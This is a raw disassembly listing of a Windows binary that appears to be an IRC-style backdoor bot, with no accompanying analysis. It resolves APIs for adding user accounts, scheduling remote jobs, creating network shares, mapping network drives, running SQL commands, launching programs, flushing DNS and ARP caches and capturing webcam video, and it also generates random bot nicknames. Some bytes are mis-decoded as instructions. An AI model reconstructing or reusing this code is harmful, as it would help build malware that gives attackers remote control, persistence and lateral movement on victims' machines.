		jz	short loc_40A2E7
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB038, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF84, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF48, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB028, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2670D55h
		nop
		mov	dword_4CB088, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB084, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF6C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAEA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	ecx, dword_4CAF3C
		mov	dword_4CAFD8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE68, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF6C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF18, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF78, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEB0, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB08C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF54, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2670D55h
		mov	dword_4CB090, eax
		mov	dword_4CB08C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF54, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB05C, eax
		call	esi
		cmp	dword_4CAF2C, ebx
		mov	dword_4CAEBC, eax
		jz	short loc_40A466
		cmp	dword_4CB05C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2670D55h
		mov	dword_4CB098, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB094, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB034, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAED0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAF04, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		cmp	dword_4CAE98, ebx
		mov	dword_4CAED8, eax
		jz	short loc_40A582
		cmp	dword_4CAE70, ebx
		jz	short loc_40A582
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A582
		cmp	dword_4CAF1C, ebx
		jz	short loc_40A582
		cmp	dword_4CB034, ebx
		jz	short loc_40A582
		cmp	dword_4CAED0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE7C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE6C, ebx
		jz	short loc_40A582
		cmp	dword_4CAF04, ebx
		jz	short loc_40A582
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A582
		cmp	dword_4CAFB4, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2670D55h
		nop
		mov	dword_4CB0A0, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB09C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		cmp	dword_4CAEC0, ebx
		mov	dword_4CAF9C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 2670D55h
		nop
		mov	dword_4CB0A8, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB0A4, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CB01C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2670D55h
		mov	dword_4CB0B0, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB0AC, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB04C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB044, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB00C, eax
		call	esi
		cmp	dword_4CB04C, ebx
		mov	dword_4CAEDC, eax
		jz	short loc_40A68A
		cmp	dword_4CB044, ebx
		jz	short loc_40A68A
		cmp	dword_4CB00C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2670D55h
		mov	dword_4CB0B8, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB0B4, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF10, ebx
		mov	dword_4CB018, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2670D55h
		mov	dword_4CB0C0, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB0BC, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFE0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		cmp	dword_4CAFE0, ebx
		mov	dword_4CAF30, eax
		jz	short loc_40A772
		cmp	dword_4CB02C, ebx
		jz	short loc_40A772
		cmp	dword_4CAF68, ebx
		jz	short loc_40A772
		cmp	dword_4CAF20, ebx
		jz	short loc_40A772
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2670D55h
		mov	dword_4CB0C8, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB0C4, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAEF4, ebx
		mov	dword_4CAFD4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	near ptr 2670D55h
		nop
		mov	dword_4CB0D0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB0CC, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB064, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB06C, esi
		jz	short loc_40A84A
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB074, esi
		jz	short loc_40A87E
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB07C, esi
		jz	short loc_40A8B2
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB084, esi
		jz	short loc_40A8E6
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB08C, esi
		jz	short loc_40A91A
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB094, esi
		jz	short loc_40A94E
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB09C, esi
		jz	short loc_40A982
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB0A4, esi
		jz	short loc_40A9B6
		push	dword_4CB0A8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB0AC, esi
		jz	short loc_40A9EA
		push	dword_4CB0B0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB0B4, esi
		jz	short loc_40AA1E
		push	dword_4CB0B8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB0BC, esi
		jz	short loc_40AA52
		push	dword_4CB0C0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB0C4, esi
		jz	short loc_40AA86
		push	dword_4CB0C8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB0CC, esi
		jz	short loc_40AABA
		push	dword_4CB0D0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D368
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAEC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB020
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D57C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D558
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB020
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D528

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4F8
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB01C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF48
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0D4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D5C8o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2680F34h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D630[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 0Ah, 62h
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
